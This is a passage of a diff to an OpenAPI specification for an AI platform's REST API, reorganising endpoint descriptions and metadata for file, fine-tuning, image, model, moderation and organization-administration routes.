- [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) or
- [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) models.
- - The Batch API only supports `.jsonl` files up to 200 MB in size. The input
- also has a specific required
- [format](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file).
- - For Retrieval or `file_search` ingestion, upload files here first. If
- you need to attach multiple uploaded files to the same vector store, use
- [`/vector_stores/{vector_store_id}/file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
- instead of attaching them one by one. Vector store attachment has separate
- limits from file upload, including 2,000 attached files per minute per
- organization.
-
- Please [contact us](https://help.openai.com/) if you need to increase these
- storage limits.
/files/{file_id}:
delete:
operationId: deleteFile
tags:
- Files
summary: Delete file
+ description: Delete a file and remove it from all vector stores.
parameters:
- in: path
name: file_id
@@ -6249,7 +6195,6 @@ paths:
schema:
$ref: '#/components/schemas/DeleteFileResponse'
x-oaiMeta:
- name: Delete file
group: files
examples:
request:
@@ -6280,12 +6225,12 @@ paths:
"object": "file",
"deleted": true
}
- description: Delete a file and remove it from all vector stores.
get:
operationId: retrieveFile
tags:
- Files
summary: Retrieve file
+ description: Returns information about a specific file.
parameters:
- in: path
name: file_id
@@ -6301,7 +6246,6 @@ paths:
schema:
$ref: '#/components/schemas/OpenAIFile'
x-oaiMeta:
- name: Retrieve file
group: files
examples:
request:
@@ -6335,13 +6279,13 @@ paths:
"filename": "mydata.jsonl",
"purpose": "fine-tune",
}
- description: Returns information about a specific file.
/files/{file_id}/content:
get:
operationId: downloadFile
tags:
- Files
summary: Retrieve file content
+ description: Returns a response containing the contents of the specified file.
parameters:
- in: path
name: file_id
@@ -6357,7 +6301,6 @@ paths:
schema:
type: string
x-oaiMeta:
- name: Retrieve file content
group: files
examples:
request:
@@ -6382,13 +6325,14 @@ paths:
}
main();
- description: Returns a response containing the contents of the specified file.
/fine_tuning/alpha/graders/run:
post:
operationId: runGrader
tags:
- Fine-tuning
summary: Run grader
+ description: |
+ Run a grader.
requestBody:
required: true
content:
@@ -6403,7 +6347,6 @@ paths:
schema:
$ref: '#/components/schemas/RunGraderResponse'
x-oaiMeta:
- name: Run grader
beta: true
group: graders
examples:
@@ -6613,14 +6556,14 @@ paths:
},
"model_sample": "Please deliver the package on Tuesday"
}'
- description: |
- Run a grader.
/fine_tuning/alpha/graders/validate:
post:
operationId: validateGrader
tags:
- Fine-tuning
summary: Validate grader
+ description: |
+ Validate a grader.
requestBody:
required: true
content:
@@ -6635,7 +6578,6 @@ paths:
schema:
$ref: '#/components/schemas/ValidateGraderResponse'
x-oaiMeta:
- name: Validate grader
beta: true
group: graders
examples:
@@ -6663,14 +6605,16 @@ paths:
"operation": "eq"
}
}
- description: |
- Validate a grader.
/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions:
get:
operationId: listFineTuningCheckpointPermissions
tags:
- Fine-tuning
summary: List checkpoint permissions
+ description: |
+ **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
+
+ Organization owners can use this endpoint to view all permissions for a fine-tuned model checkpoint.
parameters:
- in: path
name: fine_tuned_model_checkpoint
@@ -6717,7 +6661,6 @@ paths:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
x-oaiMeta:
- name: List checkpoint permissions
group: fine-tuning
examples:
request:
@@ -6745,15 +6688,15 @@ paths:
"last_id": "cp_enQCFmOTGj3syEpYVhBRLTSy",
"has_more": false
}
- description: |
- **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
-
- Organization owners can use this endpoint to view all permissions for a fine-tuned model checkpoint.
post:
operationId: createFineTuningCheckpointPermission
tags:
- Fine-tuning
summary: Create checkpoint permissions
+ description: |
+ **NOTE:** Calling this endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
+
+ This enables organization owners to share fine-tuned models with other projects in their organization.
parameters:
- in: path
name: fine_tuned_model_checkpoint
@@ -6777,7 +6720,6 @@ paths:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
x-oaiMeta:
- name: Create checkpoint permissions
group: fine-tuning
examples:
request:
@@ -6800,16 +6742,16 @@ paths:
"last_id": "cp_zc4Q7MP6XxulcVzj4MZdwsAB",
"has_more": false
}
- description: |
- **NOTE:** Calling this endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
-
- This enables organization owners to share fine-tuned models with other projects in their organization.
/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions/{permission_id}:
delete:
operationId: deleteFineTuningCheckpointPermission
tags:
- Fine-tuning
summary: Delete checkpoint permission
+ description: |
+ **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
+
+ Organization owners can use this endpoint to delete a permission for a fine-tuned model checkpoint.
parameters:
- in: path
name: fine_tuned_model_checkpoint
@@ -6835,7 +6777,6 @@ paths:
schema:
$ref: '#/components/schemas/DeleteFineTuningCheckpointPermissionResponse'
x-oaiMeta:
- name: Delete checkpoint permission
group: fine-tuning
examples:
request:
@@ -6848,16 +6789,18 @@ paths:
"id": "cp_zc4Q7MP6XxulcVzj4MZdwsAB",
"deleted": true
}
- description: |
- **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
-
- Organization owners can use this endpoint to delete a permission for a fine-tuned model checkpoint.
/fine_tuning/jobs:
post:
operationId: createFineTuningJob
tags:
- Fine-tuning
summary: Create fine-tuning job
+ description: |
+ Creates a fine-tuning job which begins the process of creating a new model from a given dataset.
+
+ Response includes details of the enqueued job including job status and the name of the fine-tuned models once complete.
+
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
requestBody:
required: true
content:
@@ -6872,7 +6815,6 @@ paths:
schema:
$ref: '#/components/schemas/FineTuningJob'
x-oaiMeta:
- name: Create fine-tuning job
group: fine-tuning
examples:
- title: Default
@@ -7251,17 +7193,13 @@ paths:
},
"metadata": null
}
- description: |
- Creates a fine-tuning job which begins the process of creating a new model from a given dataset.
-
- Response includes details of the enqueued job including job status and the name of the fine-tuned models once complete.
-
- [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
get:
operationId: listPaginatedFineTuningJobs
tags:
- Fine-tuning
summary: List fine-tuning jobs
+ description: |
+ List your organization's fine-tuning jobs
parameters:
- name: after
in: query
@@ -7296,7 +7234,6 @@ paths:
schema:
$ref: '#/components/schemas/ListPaginatedFineTuningJobsResponse'
x-oaiMeta:
- name: List fine-tuning jobs
group: fine-tuning
examples:
request:
@@ -7345,14 +7282,16 @@ paths:
{ ... }
], "has_more": true
}
- description: |
- List your organization's fine-tuning jobs
/fine_tuning/jobs/{fine_tuning_job_id}:
get:
operationId: retrieveFineTuningJob
tags:
- Fine-tuning
summary: Retrieve fine-tuning job
+ description: |
+ Get info about a fine-tuning job.
+
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
parameters:
- in: path
name: fine_tuning_job_id
@@ -7370,7 +7309,6 @@ paths:
schema:
$ref: '#/components/schemas/FineTuningJob'
x-oaiMeta:
- name: Retrieve fine-tuning job
group: fine-tuning
examples:
request:
@@ -7429,16 +7367,14 @@ paths:
}
}
}
- description: |
- Get info about a fine-tuning job.
-
- [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
/fine_tuning/jobs/{fine_tuning_job_id}/cancel:
post:
operationId: cancelFineTuningJob
tags:
- Fine-tuning
summary: Cancel fine-tuning
+ description: |
+ Immediately cancel a fine-tune job.
parameters:
- in: path
name: fine_tuning_job_id
@@ -7456,7 +7392,6 @@ paths:
schema:
$ref: '#/components/schemas/FineTuningJob'
x-oaiMeta:
- name: Cancel fine-tuning
group: fine-tuning
examples:
request:
@@ -7492,14 +7427,14 @@ paths:
"validation_file": "file-abc123",
"training_file": "file-abc123"
}
- description: |
- Immediately cancel a fine-tune job.
/fine_tuning/jobs/{fine_tuning_job_id}/checkpoints:
get:
operationId: listFineTuningJobCheckpoints
tags:
- Fine-tuning
summary: List fine-tuning checkpoints
+ description: |
+ List checkpoints for a fine-tuning job.
parameters:
- in: path
name: fine_tuning_job_id
@@ -7530,7 +7465,6 @@ paths:
schema:
$ref: '#/components/schemas/ListFineTuningJobCheckpointsResponse'
x-oaiMeta:
- name: List fine-tuning checkpoints
group: fine-tuning
examples:
request:
@@ -7570,14 +7504,14 @@ paths:
"last_id": "ftckpt_enQCFmOTGj3syEpYVhBRLTSy",
"has_more": true
}
- description: |
- List checkpoints for a fine-tuning job.
/fine_tuning/jobs/{fine_tuning_job_id}/events:
get:
operationId: listFineTuningEvents
tags:
- Fine-tuning
summary: List fine-tuning events
+ description: |
+ Get status updates for a fine-tuning job.
parameters:
- in: path
name: fine_tuning_job_id
@@ -7608,7 +7542,6 @@ paths:
schema:
$ref: '#/components/schemas/ListFineTuningJobEventsResponse'
x-oaiMeta:
- name: List fine-tuning events
group: fine-tuning
examples:
request:
@@ -7662,14 +7595,14 @@ paths:
],
"has_more": true
}
- description: |
- Get status updates for a fine-tuning job.
/fine_tuning/jobs/{fine_tuning_job_id}/pause:
post:
operationId: pauseFineTuningJob
tags:
- Fine-tuning
summary: Pause fine-tuning
+ description: |
+ Pause a fine-tune job.
parameters:
- in: path
name: fine_tuning_job_id
@@ -7687,7 +7620,6 @@ paths:
schema:
$ref: '#/components/schemas/FineTuningJob'
x-oaiMeta:
- name: Pause fine-tuning
group: fine-tuning
examples:
request:
@@ -7723,14 +7655,14 @@ paths:
"validation_file": "file-abc123",
"training_file": "file-abc123"
}
- description: |
- Pause a fine-tune job.
/fine_tuning/jobs/{fine_tuning_job_id}/resume:
post:
operationId: resumeFineTuningJob
tags:
- Fine-tuning
summary: Resume fine-tuning
+ description: |
+ Resume a fine-tune job.
parameters:
- in: path
name: fine_tuning_job_id
@@ -7748,7 +7680,6 @@ paths:
schema:
$ref: '#/components/schemas/FineTuningJob'
x-oaiMeta:
- name: Resume fine-tuning
group: fine-tuning
examples:
request:
@@ -7784,8 +7715,6 @@ paths:
"validation_file": "file-abc123",
"training_file": "file-abc123"
}
- description: |
- Resume a fine-tune job.
/images/edits:
post:
operationId: createImageEdit
@@ -7814,7 +7743,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create image edit
group: images
examples:
- title: Edit image
@@ -7969,6 +7897,8 @@ paths:
tags:
- Images
summary: Create image
+ description: |
+ Creates an image given a prompt. [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
requestBody:
required: true
content:
@@ -7990,7 +7920,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create image
group: images
examples:
- title: Generate image
@@ -8104,14 +8033,13 @@ paths:
event: image_generation.completed
data: {"type":"image_generation.completed","b64_json":"...","usage":{"total_tokens":100,"input_tokens":50,"output_tokens":50,"input_tokens_details":{"text_tokens":10,"image_tokens":40}}}
- description: |
- Creates an image given a prompt. [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
/images/variations:
post:
operationId: createImageVariation
tags:
- Images
summary: Create image variation
+ description: Creates a variation of a given image. This endpoint only supports `dall-e-2`.
requestBody:
required: true
content:
@@ -8126,7 +8054,6 @@ paths:
schema:
$ref: '#/components/schemas/ImagesResponse'
x-oaiMeta:
- name: Create image variation
group: images
examples:
request:
@@ -8184,7 +8111,6 @@ paths:
}
]
}
- description: Creates a variation of a given image. This endpoint only supports `dall-e-2`.
/live/sessions:
post:
operationId: create-live
@@ -8212,7 +8138,6 @@ paths:
type: webrtc
sdp:
x-oaiMeta:
- name: Create session
group: live
returns: Returns 201 Created with the session identifier in session.id and SDP answer in transport.sdp.
examples:
@@ -8246,7 +8171,6 @@ paths:
'200':
description: Session accept request accepted.
x-oaiMeta:
- name: Accept call
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
/live/sessions/{session_id}/fork:
@@ -8277,7 +8201,6 @@ paths:
schema:
$ref: '#/components/schemas/LiveCreateResponse'
x-oaiMeta:
- name: Fork session
group: live
returns: The new session identifier in session.id and SDP answer in transport.sdp.
examples:
@@ -8305,7 +8228,6 @@ paths:
'200':
description: Session hangup request accepted.
x-oaiMeta:
- name: Hang up session
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
/live/sessions/{session_id}/refer:
@@ -8332,7 +8254,6 @@ paths:
'200':
description: Session refer request accepted.
x-oaiMeta:
- name: Transfer call
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
/live/sessions/{session_id}/reject:
@@ -8359,7 +8280,6 @@ paths:
'200':
description: Session reject request accepted.
x-oaiMeta:
- name: Reject call
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
/models:
@@ -8368,6 +8288,7 @@ paths:
tags:
- Models
summary: List models
+ description: Lists the currently available models, and provides basic information about each one such as the owner and availability.
responses:
'200':
description: OK
@@ -8376,7 +8297,6 @@ paths:
schema:
$ref: '#/components/schemas/ListModelsResponse'
x-oaiMeta:
- name: List models
group: models
examples:
request:
@@ -8441,13 +8361,13 @@ paths:
},
]
}
- description: Lists the currently available models, and provides basic information about each one such as the owner and availability.
/models/{model}:
get:
operationId: retrieveModel
tags:
- Models
summary: Retrieve model
+ description: Retrieves a model instance, providing basic information about the model such as the owner and permissioning.
parameters:
- in: path
name: model
@@ -8464,7 +8384,6 @@ paths:
schema:
$ref: '#/components/schemas/Model'
x-oaiMeta:
- name: Retrieve model
group: models
examples:
request:
@@ -8508,12 +8427,12 @@ paths:
"owned_by": "openai",
"shutdown_date": "2026-10-23"
}
- description: Retrieves a model instance, providing basic information about the model such as the owner and permissioning.
delete:
operationId: deleteModel
tags:
- Models
summary: Delete a fine-tuned model
+ description: Delete a fine-tuned model. You must have the Owner role in your organization to delete a model.
parameters:
- in: path
name: model
@@ -8530,7 +8449,6 @@ paths:
schema:
$ref: '#/components/schemas/DeleteModelResponse'
x-oaiMeta:
- name: Delete a fine-tuned model
group: models
examples:
request:
@@ -8562,13 +8480,15 @@ paths:
"object": "model",
"deleted": true
}
- description: Delete a fine-tuned model. You must have the Owner role in your organization to delete a model.
/moderations:
post:
operationId: createModeration
tags:
- Moderations
summary: Create moderation
+ description: |
+ Classifies if text and/or image inputs are potentially harmful. Learn
+ more in the [moderation guide](https://developers.openai.com/api/docs/guides/moderation).
requestBody:
required: true
content:
@@ -8587,7 +8507,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create moderation
group: moderations
examples:
- title: Single string
@@ -8810,16 +8729,13 @@ paths:
}
]
}
- description: |
- Classifies if text and/or image inputs are potentially harmful. Learn
- more in the [moderation guide](https://developers.openai.com/api/docs/guides/moderation).
/organization/admin_api_keys:
get:
security:
- AdminApiKeyAuth: []
summary: List all organization and project API keys.
- operationId: admin-api-keys-list
description: List organization API keys
+ operationId: admin-api-keys-list
parameters:
- in: query
name: after
@@ -8853,7 +8769,6 @@ paths:
schema:
$ref: '#/components/schemas/ApiKeyList'
x-oaiMeta:
- name: List all organization and project API keys.
group: administration
examples:
request:
@@ -8891,8 +8806,8 @@ paths:
security:
- AdminApiKeyAuth: []
summary: Create admin API key
- operationId: admin-api-keys-create
description: Create an organization admin API key
+ operationId: admin-api-keys-create
requestBody:
required: true
content:
@@ -8919,7 +8834,6 @@ paths:
schema:
$ref: '#/components/schemas/AdminApiKeyCreateResponse'
x-oaiMeta:
- name: Create admin API key
group: administration
examples:
request:
@@ -8955,8 +8869,8 @@ paths:
security:
- AdminApiKeyAuth: []
summary: Retrieve admin API key
- operationId: admin-api-keys-get
description: Retrieve a single organization API key
+ operationId: admin-api-keys-get
parameters:
- in: path
name: key_id
@@ -8972,7 +8886,6 @@ paths:
schema:
$ref: '#/components/schemas/AdminApiKey'
x-oaiMeta:
- name: Retrieve admin API key
group: administration
examples:
request:
@@ -9001,8 +8914,8 @@ paths:
security:
- AdminApiKeyAuth: []
summary: Delete admin API key
- operationId: admin-api-keys-delete
description: Delete an organization admin API key
+ operationId: admin-api-keys-delete
parameters:
- in: path
name: key_id
@@ -9035,7 +8948,6 @@ paths:
- object
- deleted
x-oaiMeta:
- name: Delete admin API key
group: administration
examples:
request:
@@ -9054,6 +8966,7 @@ paths:
security:
- AdminApiKeyAuth: []
summary: List audit logs
+ description: List user actions and configuration changes within this organization.
operationId: list-audit-logs
tags:
- Audit Logs
@@ -9154,7 +9067,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List audit logs
group: audit-logs
examples:
request:
@@ -9222,12 +9134,12 @@ paths:
"last_id": "audit_log_yyy__20240101",
"has_more": true
}
- description: List user actions and configuration changes within this organization.
/organization/certificates:
get:
security:
- AdminApiKeyAuth: []
summary: List organization certificates
+ description: List uploaded certificates for this organization.
operationId: listOrganizationCertificates
tags:
- Certificates
@@ -9267,7 +9179,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List organization certificates
group: administration
examples:
request:
@@ -9294,11 +9205,14 @@ paths:
"last_id": "cert_abc",
"has_more": false
}
- description: List uploaded certificates for this organization.
post:
security:
- AdminApiKeyAuth: []
summary: Upload certificate
+ description: |
+ Upload a certificate to the organization. This does **not** automatically activate the certificate.
+
+ Organizations can upload up to 50 certificates.
operationId: uploadCertificate
tags:
- Certificates
@@ -9319,7 +9233,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Upload certificate
group: administration
examples:
request:
@@ -9342,15 +9255,15 @@ paths:
"expires_at": 12345678
}
}
- description: |
- Upload a certificate to the organization. This does **not** automatically activate the certificate.
-
- Organizations can upload up to 50 certificates.
/organization/certificates/activate:
post:
security:
- AdminApiKeyAuth: []
summary: Activate certificates for organization
+ description: |
+ Activate certificates at the organization level.
+
+ You can atomically and idempotently activate up to 10 certificates at a time.
operationId: activateOrganizationCertificates
tags:
- Certificates
@@ -9371,7 +9284,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Activate certificates for organization
group: administration
examples:
request:
@@ -9410,15 +9322,15 @@ paths:
},
],
}
- description: |
- Activate certificates at the organization level.
-
- You can atomically and idempotently activate up to 10 certificates at a time.
/organization/certificates/deactivate:
post:
security:
- AdminApiKeyAuth: []
summary: Deactivate certificates for organization
+ description: |
+ Deactivate certificates at the organization level.
+
+ You can atomically and idempotently deactivate up to 10 certificates at a time.
operationId: deactivateOrganizationCertificates
tags:
- Certificates
@@ -9439,7 +9351,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Deactivate certificates for organization
group: administration
examples:
request:
@@ -9478,15 +9389,15 @@ paths:
},
],
}
- description: |
- Deactivate certificates at the organization level.
-
- You can atomically and idempotently deactivate up to 10 certificates at a time.
/organization/certificates/{certificate_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Get certificate
+ description: |
+ Get a certificate that has been uploaded to the organization.
+
+ You can get a certificate regardless of whether it is active or not.
operationId: getCertificate
tags:
- Certificates
@@ -9517,7 +9428,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get certificate
group: administration
examples:
request:
@@ -9536,14 +9446,12 @@ paths:
"content": "-----BEGIN CERTIFICATE-----MIIDeT...-----END CERTIFICATE-----"
}
}
- description: |
- Get a certificate that has been uploaded to the organization.
-
- You can get a certificate regardless of whether it is active or not.
post:
security:
- AdminApiKeyAuth: []
summary: Modify certificate
+ description: |
+ Modify a certificate. Note that only the name can be modified.
operationId: modifyCertificate
tags:
- Certificates
@@ -9571,7 +9479,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify certificate
group: administration
examples:
request:
@@ -9593,12 +9500,14 @@ paths:
"expires_at": 12345678
}
}
- description: |
- Modify a certificate. Note that only the name can be modified.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete certificate
+ description: |
+ Delete a certificate from the organization.
+
+ The certificate must be inactive for the organization and all projects.
operationId: deleteCertificate
tags:
- Certificates
@@ -9619,7 +9528,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete certificate
group: administration
examples:
request:
@@ -9631,15 +9539,12 @@ paths:
"object": "certificate.deleted",
"id": "cert_abc"
}
- description: |
- Delete a certificate from the organization.
-
- The certificate must be inactive for the organization and all projects.
/organization/costs:
get:
security:
- AdminApiKeyAuth: []
summary: Costs
+ description: Get costs details for the organization.
operationId: usage-costs
tags:
- Usage
@@ -9724,7 +9629,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Costs
group: usage-costs
examples:
request:
@@ -9759,12 +9663,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get costs details for the organization.
/organization/data_retention:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve organization data retention
+ description: Retrieves organization data retention controls.
operationId: retrieve-organization-data-retention
tags:
- Data retention
@@ -9776,7 +9680,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
x-oaiMeta:
- name: Retrieve organization data retention
group: administration
examples:
request:
@@ -9789,11 +9692,11 @@ paths:
"object": "organization.data_retention",
"type": "modified_abuse_monitoring"
}
- description: Retrieves organization data retention controls.
post:
security:
- AdminApiKeyAuth: []
summary: Update organization data retention
+ description: Updates organization data retention controls.
operationId: update-organization-data-retention
tags:
- Data retention
@@ -9812,7 +9715,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
x-oaiMeta:
- name: Update organization data retention
group: administration
examples:
request:
@@ -9828,12 +9730,12 @@ paths:
"object": "organization.data_retention",
"type": "modified_abuse_monitoring"
}
- description: Updates organization data retention controls.
/organization/groups:
get:
security:
- AdminApiKeyAuth: []
summary: List groups
+ description: Lists all groups in the organization.
operationId: list-groups
tags:
- Groups
@@ -9875,7 +9777,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List groups
group: administration
examples:
request:
@@ -9898,11 +9799,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists all groups in the organization.
post:
security:
- AdminApiKeyAuth: []
summary: Create group
+ description: Creates a new group in the organization.
operationId: create-group
tags:
- Groups
@@ -9923,7 +9824,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create group
group: administration
examples:
request:
@@ -9942,12 +9842,12 @@ paths:
"created_at": 1711471533,
"is_scim_managed": false
}
- description: Creates a new group in the organization.
/organization/groups/{group_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve group
+ description: Retrieves a group.
operationId: retrieve-group
tags:
- Groups
@@ -9968,7 +9868,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve group
group: administration
examples:
request:
@@ -9984,11 +9883,11 @@ paths:
"is_scim_managed": false,
"group_type": "group"
}
- description: Retrieves a group.
post:
security:
- AdminApiKeyAuth: []
summary: Update group
+ description: Updates a group's information.
operationId: update-group
tags:
- Groups
@@ -10016,7 +9915,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update group
group: administration
examples:
request:
@@ -10034,11 +9932,11 @@ paths:
"created_at": 1711471533,
"is_scim_managed": false
}
- description: Updates a group's information.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete group
+ description: Deletes a group from the organization.
operationId: delete-group
tags:
- Groups
@@ -10059,7 +9957,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete group
group: administration
examples:
request:
@@ -10073,12 +9970,12 @@ paths:
"id": "group_01J1F8ABCDXYZ",
"deleted": true
}
- description: Deletes a group from the organization.
/organization/groups/{group_id}/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List group organization role assignments
+ description: Lists the organization roles assigned to a group within the organization.
operationId: list-group-role-assignments
tags:
- Group organization role assignments
@@ -10122,7 +10019,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List group organization role assignments
group: administration
examples:
request:
@@ -10158,11 +10054,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the organization roles assigned to a group within the organization.
post:
security:
- AdminApiKeyAuth: []
summary: Assign organization role to group
+ description: Assigns an organization role to a group within the organization.
operationId: assign-group-role
tags:
- Group organization role assignments
@@ -10190,7 +10086,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Assign organization role to group
group: administration
examples:
request:
@@ -10224,12 +10119,12 @@ paths:
"predefined_role": false
}
}
- description: Assigns an organization role to a group within the organization.
/organization/groups/{group_id}/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve group organization role
+ description: Retrieves an organization role assigned to a group.
operationId: retrieve-group-role
tags:
- Group organization role assignments
@@ -10256,7 +10151,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve group organization role
group: administration
examples:
request:
@@ -10282,11 +10176,11 @@ paths:
"metadata": {},
"assignment_sources": null
}
- description: Retrieves an organization role assigned to a group.
delete:
security:
- AdminApiKeyAuth: []
summary: Unassign organization role from group
+ description: Unassigns an organization role from a group within the organization.
operationId: unassign-group-role
tags:
- Group organization role assignments
@@ -10313,7 +10207,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Unassign organization role from group
group: administration
examples:
request:
@@ -10326,12 +10219,12 @@ paths:
"object": "group.role.deleted",
"deleted": true
}
- description: Unassigns an organization role from a group within the organization.
/organization/groups/{group_id}/users:
get:
security:
- AdminApiKeyAuth: []
summary: List group users
+ description: Lists the users assigned to a group.
operationId: list-group-users
tags:
- Group users
@@ -10379,7 +10272,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List group users
group: administration
examples:
request:
@@ -10400,11 +10292,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the users assigned to a group.
post:
security:
- AdminApiKeyAuth: []
summary: Add group user
+ description: Adds a user to a group.
operationId: add-group-user
tags:
- Group users
@@ -10432,7 +10324,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Add group user
group: administration
examples:
request:
@@ -10449,12 +10340,12 @@ paths:
"user_id": "user_abc123",
"group_id": "group_01J1F8ABCDXYZ"
}
- description: Adds a user to a group.
/organization/groups/{group_id}/users/{user_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve group user
+ description: Retrieves a user in a group.
operationId: retrieve-group-user
tags:
- Group users
@@ -10481,7 +10372,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve group user
group: administration
examples:
request:
@@ -10498,11 +10388,11 @@ paths:
"is_service_account": false,
"user_type": "user"
}
- description: Retrieves a user in a group.
delete:
security:
- AdminApiKeyAuth: []
summary: Remove group user
+ description: Removes a user from a group.
operationId: remove-group-user
tags:
- Group users
@@ -10529,7 +10419,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Remove group user
group: administration
examples:
request:
@@ -10542,12 +10431,12 @@ paths:
"object": "group.user.deleted",
"deleted": true
}
- description: Removes a user from a group.
/organization/invites:
get:
security:
- AdminApiKeyAuth: []
summary: List invites
+ description: Returns a list of invites in the organization.
operationId: list-invites
tags:
- Invites
@@ -10575,7 +10464,6 @@ paths:
schema:
$ref: '#/components/schemas/InviteListResponse'
x-oaiMeta:
- name: List invites
group: administration
examples:
request:
@@ -10602,11 +10490,11 @@ paths:
"last_id": "invite-abc",
"has_more": false
}
- description: Returns a list of invites in the organization.
post:
security:
- AdminApiKeyAuth: []
summary: Create invite
+ description: Create an invite for a user to the organization. The invite must be accepted by the user before they have access to the organization.
operationId: inviteUser
tags:
- Invites
@@ -10625,7 +10513,6 @@ paths:
schema:
$ref: '#/components/schemas/Invite'
x-oaiMeta:
- name: Create invite
group: administration
examples:
request:
@@ -10668,12 +10555,12 @@ paths:
}
]
}
- description: Create an invite for a user to the organization. The invite must be accepted by the user before they have access to the organization.
/organization/invites/{invite_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve invite
+ description: Retrieves an invite.
operationId: retrieve-invite
tags:
- Invites
@@ -10692,7 +10579,6 @@ paths:
schema:
$ref: '#/components/schemas/Invite'
x-oaiMeta:
- name: Retrieve invite
group: administration
examples:
request:
@@ -10711,11 +10597,11 @@ paths:
"expires_at": 1711471533,
"accepted_at": 1711471533
}
- description: Retrieves an invite.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete invite
+ description: Delete an invite. If the invite has already been accepted, it cannot be deleted.
operationId: delete-invite
tags:
- Invites
@@ -10734,7 +10620,6 @@ paths:
schema:
$ref: '#/components/schemas/InviteDeleteResponse'
x-oaiMeta:
- name: Delete invite
group: administration
examples:
request:
@@ -10748,10 +10633,10 @@ paths:
"id": "invite-abc",
"deleted": true
}
- description: Delete an invite. If the invite has already been accepted, it cannot be deleted.
/organization/projects:
get:
summary: List projects
+ description: Returns a list of projects.
operationId: list-projects
security:
- AdminApiKeyAuth: []
@@ -10787,7 +10672,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectListResponse'
x-oaiMeta:
- name: List projects
group: administration
examples:
request:
@@ -10812,9 +10696,9 @@ paths:
"last_id": "proj-xyz",
"has_more": false
}
